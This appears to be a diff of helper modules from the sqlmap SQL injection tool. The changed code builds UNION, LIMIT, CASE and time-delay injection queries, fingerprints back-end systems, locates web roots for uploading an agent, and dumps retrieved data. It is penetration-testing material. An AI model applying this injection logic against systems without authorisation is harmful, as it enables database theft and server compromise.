conditionIndex = query.rindex(" FROM ") conditionIndex = query.index(" FROM ")
inbandQuery += "%s" % query[conditionIndex:] inbandQuery += query[conditionIndex:]
if kb.dbms == "Oracle": if kb.dbms == "Oracle":
if " FROM " not in inbandQuery: if " FROM " not in inbandQuery:
inbandQuery += " FROM DUAL" inbandQuery += " FROM DUAL"
if " ORDER BY " in inbandQuery: if intoRegExp:
orderIndex = inbandQuery.index(" ORDER BY ") inbandQuery += intoRegExp
inbandQuery = inbandQuery[:orderIndex]
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment) inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
return inbandQuery return inbandQuery
def limitQuery(self, num, query, field):
"""
Take in input a query string and return its limited query string.
Example:
Input: SELECT user FROM mysql.users
Output: SELECT user FROM mysql.users LIMIT <num>, 1
@param num: limit number
@type num: C{int}
@param query: query to be processed
@type query: C{str}
@param field: field within the query
@type field: C{list}
@return: limited query string
@rtype: C{str}
"""
limitedQuery = query
limitStr = queries[kb.dbms].limit
fromIndex = limitedQuery.index(" FROM ")
untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[fromIndex+1:]
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedQuery += " %s" % limitStr
elif kb.dbms == "Oracle":
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
if query.startswith("SELECT "):
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
else:
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
forgeNotIn = True
if " ORDER BY " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
if topNums:
topNums = topNums.groups()
quantityTopNums = topNums[0]
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
startTopNums = topNums[1]
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
forgeNotIn = False
else:
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
if forgeNotIn == True:
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
if " WHERE " in limitedQuery:
limitedQuery = "%s AND %s " % (limitedQuery, field)
else:
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (field, fromFrom)
return limitedQuery
def forgeCaseStatement(self, expression):
"""
Take in input a query string and return its CASE statement query
string.
Example:
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
@param expression: expression to be processed
@type num: C{str}
@return: processed expression
@rtype: C{str}
"""
return queries[kb.dbms].case % expression
# SQL agent # SQL agent
agent = Agent() agent = Agent()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -27,19 +27,24 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os import os
import random import random
import re import re
import socket
import string import string
import sys import sys
import time import time
import urlparse import urlparse
from lib.contrib import magic
from lib.core.convert import urldecode from lib.core.convert import urldecode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapFilePathException
from lib.core.data import paths from lib.core.settings import IS_WIN
from lib.core.settings import SQL_STATEMENTS
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
@@ -75,15 +80,14 @@ def paramToDict(place, parameters=None):
elem = element.split("=") elem = element.split("=")
if len(elem) == 2: if len(elem) == 2:
parameter = elem[0] parameter = elem[0].replace(" ", "")
condition = not conf.testParameter condition = not conf.testParameter
condition |= parameter in conf.testParameter condition |= parameter in conf.testParameter
if condition: if condition:
value = elem[1] value = elem[1]
if value: testableParameters[parameter] = value
testableParameters[parameter] = value
if conf.testParameter and not testableParameters: if conf.testParameter and not testableParameters:
paramStr = ", ".join(test for test in conf.testParameter) paramStr = ", ".join(test for test in conf.testParameter)
@@ -97,7 +101,7 @@ def paramToDict(place, parameters=None):
warnMsg = "the testable parameter '%s' " % paramStr warnMsg = "the testable parameter '%s' " % paramStr
warnMsg += "you provided is not into the %s" % place warnMsg += "you provided is not into the %s" % place
if conf.googleDork: if conf.multipleTargets:
warnMsg += ", skipping to next url" warnMsg += ", skipping to next url"
logger.warn(warnMsg) logger.warn(warnMsg)
@@ -112,7 +116,7 @@ def paramToDict(place, parameters=None):
return testableParameters return testableParameters
def formatFingerprint(versions=None): def formatDBMSfp(versions=None):
""" """
This function format the back-end DBMS fingerprint value and return its This function format the back-end DBMS fingerprint value and return its
values formatted as a human readable string. values formatted as a human readable string.
@@ -128,6 +132,71 @@ def formatFingerprint(versions=None):
return "%s %s" % (kb.dbms, versions) return "%s %s" % (kb.dbms, versions)
elif isinstance(versions, (list, set, tuple)): elif isinstance(versions, (list, set, tuple)):
return "%s %s" % (kb.dbms, " and ".join([version for version in versions])) return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
elif not versions:
warnMsg = "unable to extensively fingerprint the back-end "
warnMsg += "DBMS version"
logger.warn(warnMsg)
return kb.dbms
def formatFingerprintString(values, chain=" or "):
strJoin = "|".join([v for v in values])
return strJoin.replace("|", chain)
def formatFingerprint(target, info):
"""
This function format the back-end operating system fingerprint value
and return its values formatted as a human readable string.
Example of info (kb.headersFp) dictionary:
{
'distrib': set(['Ubuntu']),
'type': set(['Linux']),
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
'release': set(['8.10'])
}
Example of info (kb.bannerFp) dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
@return: detected back-end operating system based upon fingerprint
techniques.
@rtype: C{str}
"""
infoStr = ""
if info and "type" in info:
infoStr += "%s operating system: %s" % (target, formatFingerprintString(info["type"]))
if "distrib" in info:
infoStr += " %s" % formatFingerprintString(info["distrib"])
if "release" in info:
infoStr += " %s" % formatFingerprintString(info["release"])
if "sp" in info:
infoStr += " %s" % formatFingerprintString(info["sp"])
if "codename" in info:
infoStr += " (%s)" % formatFingerprintString(info["codename"])
if "technology" in info:
infoStr += "\nweb application technology: %s" % formatFingerprintString(info["technology"], ", ")
return infoStr
def getHtmlErrorFp(): def getHtmlErrorFp():
@@ -149,79 +218,100 @@ def getHtmlErrorFp():
htmlVer = kb.htmlFp[0] htmlVer = kb.htmlFp[0]
htmlParsed = htmlVer htmlParsed = htmlVer
elif len(kb.htmlFp) > 1: elif len(kb.htmlFp) > 1:
htmlParsed = "or ".join([htmlFp for htmlFp in kb.htmlFp]) htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp])
return htmlParsed return htmlParsed
def getDocRoot(): def getDocRoot():
"""
This method returns the web application document root based on the
detected absolute files paths in the knowledge base.
"""
docRoot = None docRoot = None
pagePath = os.path.dirname(conf.path)
if kb.os == "Windows":
defaultDocRoot = "C:/Inetpub/wwwroot/"
else:
defaultDocRoot = "/var/www/"
if kb.absFilePaths: if kb.absFilePaths:
logMsg = "retrieved the possible injectable " for absFilePath in kb.absFilePaths:
logMsg += "file absolute system paths: " absFilePathWin = None
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(logMsg)
else:
warnMsg = "unable to retrieve the injectable file "
warnMsg += "absolute system path"
logger.warn(warnMsg)
for absFilePath in kb.absFilePaths: if re.search("([\w]\:[\/\\\\]+)", absFilePath):
if conf.path in absFilePath: absFilePathWin = absFilePath
index = absFilePath.index(conf.path) absFilePath = absFilePath[2:].replace("\\", "/")
docRoot = absFilePath[:index]
break absFilePath = os.path.normpath(absFilePath)
if pagePath in absFilePath:
index = absFilePath.index(pagePath)
docRoot = absFilePath[:index]
if absFilePathWin:
docRoot = "C:/%s" % docRoot.replace("\\", "/")
break
if docRoot: if docRoot:
logMsg = "retrieved the remote web server " infoMsg = "retrieved the web server document root: '%s'" % docRoot
logMsg += "document root: '%s'" % docRoot logger.info(infoMsg)
logger.info(logMsg)
else: else:
warnMsg = "unable to retrieve the remote web server " warnMsg = "unable to retrieve the web server document root"
warnMsg += "document root"
logger.warn(warnMsg) logger.warn(warnMsg)
message = "please provide the web server document root "
message += "[%s]: " % defaultDocRoot
inputDocRoot = readInput(message, default=defaultDocRoot)
if inputDocRoot:
docRoot = inputDocRoot
else:
docRoot = defaultDocRoot
return docRoot return docRoot
def getDirectories(): def getDirs():
"""
This method calls a function that returns the web application document
root and injectable file absolute system path.
@return: a set of paths (document root and absolute system path).
@rtype: C{set}
@todo: replace this function with a site crawling functionality.
"""
directories = set() directories = set()
kb.docRoot = getDocRoot() if kb.os == "Windows":
defaultDir = "C:/Inetpub/wwwroot/test/"
else:
defaultDir = "/var/www/test/"
if kb.docRoot: if kb.absFilePaths:
directories.add(kb.docRoot) infoMsg = "retrieved web server full paths: "
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(infoMsg)
pagePath = re.search('^/(.*)/', conf.path) for absFilePath in kb.absFilePaths:
if absFilePath:
directories.add(os.path.dirname(absFilePath))
else:
warnMsg = "unable to retrieve any web server path"
logger.warn(warnMsg)
if kb.docRoot and pagePath: message = "please provide any additional web server full path to try "
pagePath = pagePath.groups()[0] message += "to upload the agent [%s]: " % defaultDir
inputDirs = readInput(message, default=defaultDir)
directories.add("%s/%s" % (kb.docRoot, pagePath)) if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
if inputDir:
directories.add(inputDir)
else:
directories.add(defaultDir)
return directories return directories
def filePathToString(filePath): def filePathToString(filePath):
string = filePath.replace("/", "_").replace("\\", "_") strRepl = filePath.replace("/", "_").replace("\\", "_")
string = string.replace(" ", "_").replace(":", "_") strRepl = strRepl.replace(" ", "_").replace(":", "_")
return string return strRepl
def dataToStdout(data): def dataToStdout(data):
@@ -242,18 +332,33 @@ def dataToDumpFile(dumpFile, data):
dumpFile.flush() dumpFile.flush()
def strToHex(string): def dataToOutFile(data):
""" if not data:
@param string: string to be converted into its hexadecimal value. return "No data retrieved"
@type string: C{str}
@return: the hexadecimal converted string. rFile = filePathToString(conf.rFile)
rFilePath = "%s%s%s" % (conf.filePath, os.sep, rFile)
rFileFP = open(rFilePath, "wb")
rFileFP.write(data)
rFileFP.flush()
rFileFP.close()
return rFilePath
def strToHex(inpStr):
"""
@param inpStr: inpStr to be converted into its hexadecimal value.
@type inpStr: C{str}
@return: the hexadecimal converted inpStr.
@rtype: C{str} @rtype: C{str}
""" """
hexStr = "" hexStr = ""
for character in string: for character in inpStr:
if character == "\n": if character == "\n":
character = " " character = " "
@@ -312,6 +417,9 @@ def readInput(message, default=None):
@rtype: C{str} @rtype: C{str}
""" """
if "\n" in message:
message += "\n> "
if conf.batch and default: if conf.batch and default:
infoMsg = "%s%s" % (message, str(default)) infoMsg = "%s%s" % (message, str(default))
logger.info(infoMsg) logger.info(infoMsg)
@@ -321,7 +429,7 @@ def readInput(message, default=None):
data = default data = default
else: else:
data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message)) data = raw_input(message)
return data return data
@@ -353,7 +461,7 @@ def randomInt(length=4):
return int("".join([random.choice(string.digits) for _ in xrange(0, length)])) return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
def randomStr(length=5): def randomStr(length=5, lowercase=False):
""" """
@param length: length of the random string. @param length: length of the random string.
@type length: C{int} @type length: C{int}
@@ -362,20 +470,25 @@ def randomStr(length=5):
@rtype: C{str} @rtype: C{str}
""" """
return "".join([random.choice(string.letters) for _ in xrange(0, length)]) if lowercase == True:
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
else:
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
return rndStr
def sanitizeStr(string): def sanitizeStr(inpStr):
""" """
@param string: string to sanitize: cast to str datatype and replace @param inpStr: inpStr to sanitize: cast to str datatype and replace
newlines with one space and strip carriage returns. newlines with one space and strip carriage returns.
@type string: C{str} @type inpStr: C{str}
@return: sanitized string @return: sanitized inpStr
@rtype: C{str} @rtype: C{str}
""" """
cleanString = str(string) cleanString = str(inpStr)
cleanString = cleanString.replace("\n", " ").replace("\r", "") cleanString = cleanString.replace("\n", " ").replace("\r", "")
return cleanString return cleanString
@@ -391,8 +504,8 @@ def checkFile(filename):
raise sqlmapFilePathException, "unable to read file '%s'" % filename raise sqlmapFilePathException, "unable to read file '%s'" % filename
def replaceNewlineTabs(string): def replaceNewlineTabs(inpStr):
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__") replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
replacedString = replacedString.replace(temp.delimiter, "__DEL__") replacedString = replacedString.replace(temp.delimiter, "__DEL__")
return replacedString return replacedString
@@ -404,8 +517,8 @@ def banner():
""" """
print """ print """
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> %s
and Daniele Bellucci <daniele.bellucci@gmail.com> by Bernardo Damele A. G. <bernardo.damele@gmail.com>
""" % VERSION_STRING """ % VERSION_STRING
@@ -429,33 +542,42 @@ def parsePasswordHash(password):
def cleanQuery(query): def cleanQuery(query):
upperQuery = query.replace("select ", "SELECT ") upperQuery = query
upperQuery = upperQuery.replace(" from ", " FROM ")
upperQuery = upperQuery.replace(" limit ", " LIMIT ") for sqlStatements in SQL_STATEMENTS.values():
upperQuery = upperQuery.replace(" offset ", " OFFSET ") for sqlStatement in sqlStatements:
upperQuery = upperQuery.replace(" order by ", " ORDER BY ") sqlStatementEsc = sqlStatement.replace("(", "\\(")
upperQuery = upperQuery.replace(" group by ", " GROUP BY ") queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
if queryMatch:
upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
return upperQuery return upperQuery
def setPaths(): def setPaths():
# sqlmap paths # sqlmap paths
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump" paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files" paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
# sqlmap files # sqlmap files
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr()) paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_PATH paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
def weAreFrozen(): def weAreFrozen():
@@ -507,15 +629,20 @@ def expandAsteriskForColumns(expression):
# If the user provided an asterisk rather than the column(s) # If the user provided an asterisk rather than the column(s)
# name, sqlmap will retrieve the columns itself and reprocess # name, sqlmap will retrieve the columns itself and reprocess
# the SQL query string (expression) # the SQL query string (expression)
asterisk = re.search("^SELECT\s+\*\s+FROM\s+(\w+)[\.]+(\w+)\s*", expression, re.I) asterisk = re.search("^SELECT\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I)
if asterisk: if asterisk:
infoMsg = "you did not provide the fields in your query. " infoMsg = "you did not provide the fields in your query. "
infoMsg += "sqlmap will retrieve the column names itself" infoMsg += "sqlmap will retrieve the column names itself"
logger.info(infoMsg) logger.info(infoMsg)
conf.db = asterisk.group(1) dbTbl = asterisk.group(1)
conf.tbl = asterisk.group(2)
if dbTbl and "." in dbTbl:
conf.db, conf.tbl = dbTbl.split(".")
else:
conf.tbl = dbTbl
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True) columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]: if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
@@ -531,7 +658,7 @@ def expandAsteriskForColumns(expression):
return expression return expression
def getRange(count, dump=False): def getRange(count, dump=False, plusOne=False):
count = int(count) count = int(count)
indexRange = None indexRange = None
limitStart = 1 limitStart = 1
@@ -544,10 +671,180 @@ def getRange(count, dump=False):
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop: if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
limitStart = conf.limitStart limitStart = conf.limitStart
# TODO: also for Microsoft SQL Server in getColumns method? if kb.dbms == "Oracle" or plusOne == True:
if kb.dbms == "Oracle":
indexRange = range(limitStart, limitStop + 1) indexRange = range(limitStart, limitStop + 1)
else: else:
indexRange = range(limitStart - 1, limitStop) indexRange = range(limitStart - 1, limitStop)
return indexRange return indexRange
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
data = []
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if condition == None:
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
if sort:
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
return data
def getDelayQuery():
query = None
if kb.dbms in ( "MySQL", "PostgreSQL" ):
if not kb.data.banner:
conf.dbmsHandler.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if ( kb.dbms == "MySQL" and banVer >= "5.0.12" ) or ( kb.dbms == "PostgreSQL" and banVer >= "8.2" ):
query = queries[kb.dbms].timedelay % conf.timeSec
else:
query = queries[kb.dbms].timedelay2 % conf.timeSec
else:
query = queries[kb.dbms].timedelay % conf.timeSec
return query
def getLocalIP():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((conf.hostname, conf.port))
ip, _ = s.getsockname()
s.close()
return ip
def getRemoteIP():
return socket.gethostbyname(conf.hostname)
def getFileType(filePath):
try:
magicFileType = magic.from_file(filePath)
except:
return "unknown"
if "ASCII" in magicFileType or "text" in magicFileType:
return "text"
else:
return "binary"
def pollProcess(process):
while True:
dataToStdout(".")
time.sleep(1)
returncode = process.poll()
if returncode is not None:
if returncode == 0:
dataToStdout(" done\n")
elif returncode < 0:
dataToStdout(" process terminated by signal %d\n" % returncode)
elif returncode > 0:
dataToStdout(" quit unexpectedly with return code %d\n" % returncode)
break
def getCharset(charsetType=None):
asciiTbl = []
if charsetType == None:
asciiTbl = range(0, 128)
# 0 or 1
elif charsetType == 1:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 50))
# Digits
elif charsetType == 2:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 58))
# Hexadecimal
elif charsetType == 3:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 58))
asciiTbl.extend(range(64, 71))
asciiTbl.extend(range(96, 103))
# Characters
elif charsetType == 4:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(64, 91))
asciiTbl.extend(range(96, 123))
# Characters and digits
elif charsetType == 5:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 58))
asciiTbl.extend(range(64, 91))
asciiTbl.extend(range(96, 123))
return asciiTbl
def searchEnvPath(fileName):
envPaths = os.environ["PATH"]
result = None
if IS_WIN is True:
envPaths = envPaths.split(";")
else:
envPaths = envPaths.split(":")
for envPath in envPaths:
envPath = envPath.replace(";", "")
result = os.path.exists(os.path.normpath("%s/%s" % (envPath, fileName)))
if result == True:
break
return result

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -23,7 +23,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import md5 import md5
import sha import sha
import struct import struct
@@ -79,8 +78,11 @@ def urldecode(string):
return unquotedString return unquotedString
def urlencode(string, safe=":/?%&="): def urlencode(string, safe=":/?%&=", convall=False):
if not string: if not string:
return return
return urllib.quote(string, safe) if convall == True:
return urllib.quote(string)
else:
return urllib.quote(string, safe)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -28,7 +28,6 @@ import re
import os import os
from lib.core.common import dataToDumpFile from lib.core.common import dataToDumpFile
from lib.core.common import filePathToString
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
@@ -45,18 +44,10 @@ class Dump:
self.__outputFP = None self.__outputFP = None
def __write(self, data, n=True, rFile=False): def __write(self, data, n=True):
if n: if n:
print data print data
self.__outputFP.write("%s\n" % data) self.__outputFP.write("%s\n" % data)
# TODO: do not duplicate queries output in the text file, check
# before if the data is already within the text file content
if rFile and conf.rFile:
rFile = filePathToString(conf.rFile)
rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w")
rFileFP.write(data)
rFileFP.close()
else: else:
print data, print data,
self.__outputFP.write("%s " % data) self.__outputFP.write("%s " % data)
@@ -71,35 +62,38 @@ class Dump:
self.__outputFP = open(self.__outputFile, "a") self.__outputFP = open(self.__outputFile, "a")
def string(self, header, data): def string(self, header, data, sort=True):
if isinstance(data, (list, tuple, set)): if isinstance(data, (list, tuple, set)):
self.lister(header, data) self.lister(header, data, sort)
return return
data = str(data)
if data: if data:
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t") data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
data = data.replace("__START__", "").replace("__STOP__", "") data = data.replace("__START__", "").replace("__STOP__", "")
data = data.replace("__DEL__", ", ") data = data.replace("__DEL__", ", ")
if "\n" in data: if "\n" in data:
self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header) self.__write("%s:\n---\n%s---\n" % (header, data))
else: else:
self.__write("%s: '%s'\n" % (header, data)) self.__write("%s: '%s'\n" % (header, data))
else: else:
self.__write("%s:\tNone\n" % header) self.__write("%s:\tNone\n" % header)
def lister(self, header, elements): def lister(self, header, elements, sort=True):
if elements: if elements:
self.__write("%s [%d]:" % (header, len(elements))) self.__write("%s [%d]:" % (header, len(elements)))
try: if sort == True:
elements = set(elements) try:
elements = list(elements) elements = set(elements)
elements.sort(key=lambda x: x.lower()) elements = list(elements)
except: elements.sort(key=lambda x: x.lower())
pass except:
pass
for element in elements: for element in elements:
if isinstance(element, str): if isinstance(element, str):
@@ -140,6 +134,11 @@ class Dump:
def dbTables(self, dbTables): def dbTables(self, dbTables):
if not isinstance(dbTables, dict):
self.string("tables", dbTables)
return
maxlength = 0 maxlength = 0
for tables in dbTables.values(): for tables in dbTables.values():
@@ -219,7 +218,7 @@ class Dump:
db = "All" db = "All"
table = tableValues["__infos__"]["table"] table = tableValues["__infos__"]["table"]
if not conf.googleDork: if not conf.multipleTargets:
dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db) dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
if not os.path.isdir(dumpDbPath): if not os.path.isdir(dumpDbPath):
@@ -238,8 +237,8 @@ class Dump:
for column in columns: for column in columns:
if column != "__infos__": if column != "__infos__":
info = tableValues[column] info = tableValues[column]
lines = "-" * (int(info["length"]) + 2) lines = "-" * (int(info["length"]) + 2)
separator += "+%s" % lines separator += "+%s" % lines
separator += "+" separator += "+"
